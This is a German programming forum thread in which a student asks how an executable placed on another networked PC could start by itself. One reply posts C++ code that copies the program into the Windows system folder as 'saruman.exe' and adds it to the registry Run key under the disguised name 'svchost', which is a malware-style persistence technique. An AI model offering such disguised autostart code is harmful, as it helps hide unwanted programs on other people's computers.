| Code Kitchen Allgemeines Coder-Forum rund um das Programmieren eigenständiger, ausführbarer Programme. |
Diskussion: Programm automatisch starten! im Forum Code Kitchen, in der Kategorie Software Home; Anzeige Hallo, also ich lerne gerade in der Schule c++ und wir haben da nun ne exe geschrieben in der ...
![]() |
| | #1 (permalink) |
| Registriert seit: 19.01.08 ![]() Likes: 0 | Anzeige Hallo, also ich lerne gerade in der Schule c++ und wir haben da nun ne exe geschrieben in der im cmd Fenster ein Hallo Welt kommt :). Ok das war ja no ned so schwer, nun hat der Lehrer gsagt: - Übers Netzwerk sollen wir die exe auf einen bestimmten Computer geben, ok also: --> Ausführe, \\ip, ordner is da, rein damit. So das war noch ned so schwer. Und dann sagte er wir sollen uns Gedanken darüber machen wie und ob es überhaupt möglich is, dass diese dann automatisch startet. Naja ich denk ma Viren und so starten ja auch automatisch, aber ka wie das gehn kann, gibts da vielleicht nen Tutorial oder so? Danke für eure Hilfe :). mfg, Argre |
| | |
| | #2 (permalink) |
| Die Anwending kann sich doch in den Autostart schreiben, hier ein Beispiel: Code: int test_key()
{
char system_path[1000], *full_path;
HKEY hkey;
int check, test, reg_key;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
test = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_QUERY_VALUE, &hkey);
if(test != ERROR_SUCCESS)
{
check = 1;
return check;
}
/*
ERROR_MORE_DATA 234L
ERROR_SUCCESS 0L
ERROR_FILE_NOT_FOUND 2L
*/
reg_key=RegQueryValueEx(hkey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=ERROR_SUCCESS)||(buf_length>BUFSIZE))
check=2;
if(reg_key==ERROR_SUCCESS)
check=0;
RegCloseKey(hkey);
return check;
}
int create_key()
{
int reg_key, check;
HKEY hkey;
char *path, system[255], current[255];
GetSystemDirectory(system, sizeof(system));
path = strcat(system, "\\saruman.exe");
GetModuleFileName(NULL, current, sizeof(current));
CopyFile(current, path, 0);
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
} | |
| | |
| HaBOT | - Anzeige - |
| |
| | #3 (permalink) |
| Registriert seit: 02.01.07 ![]() Likes: 0 | Wann solle es das machen? Dafür muss die Datei zumindest 1 mal aufgerufen werden, damit c++ code ausgeführt werden kann. ^^ Ich glaube die Fragestellung war eher: Wie geht das, wenn ich hier an meinem PC sitze, keinen direkten Zugriff auf den Ziel-PC hab und der Ziel-PC von sich aus NICHT aktiv wird. Ich kann mich Easyrider nur anschließen. |
| | |
| | #4 (permalink) |
| Senior Member Registriert seit: 18.09.05 ![]() Likes: 0 | Noja, wenn man Hallo Welt programmiert ist es wohl etwas früh sich mit Lücken im SMB zu befassen, nicht? Sollte die Frage gelautet haben "Wie kannst du die Datei auf deinem eigenen PC autmatisch starten lassen?" dann kopier die exe in den Autostart Ordner. Oder wenigstens eine Verknüpfung zur Datei. |
| | |
| | #5 (permalink) |
| Themenstarter Registriert seit: 19.01.08 ![]() Likes: 0 | Hallo, also es war so wie Extinction schrieb: Ich glaube die Fragestellung war eher: Wie geht das, wenn ich hier an meinem PC sitze, keinen direkten Zugriff auf den Ziel-PC hab und der Ziel-PC von sich aus NICHT aktiv wird. Aber Danke an alle die mir gholfen haben , werde mir mal win-api und speziell die registry ansehen .Danke! mfg, Argre |
| | |
![]() |
| - Anzeige - | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| Programm automatisch im Tray starten | tiggi | Windows | 7 | 27.07.05 01:19 |
| Automatisch ein Browser im KDE Starten | hallo45 | Linux/UNIX | 3 | 26.04.05 06:47 |
| Win XP automatisch aus BIOS starten | Metaforce | Windows | 4 | 17.03.05 15:52 |
| Emule automatisch starten | Andreas85 | Windows | 2 | 28.05.03 08:32 |
| Programm automatisch mit dem Starten des iexp. starten | SPaRXLi | Code Kitchen | 6 | 19.12.01 14:18 |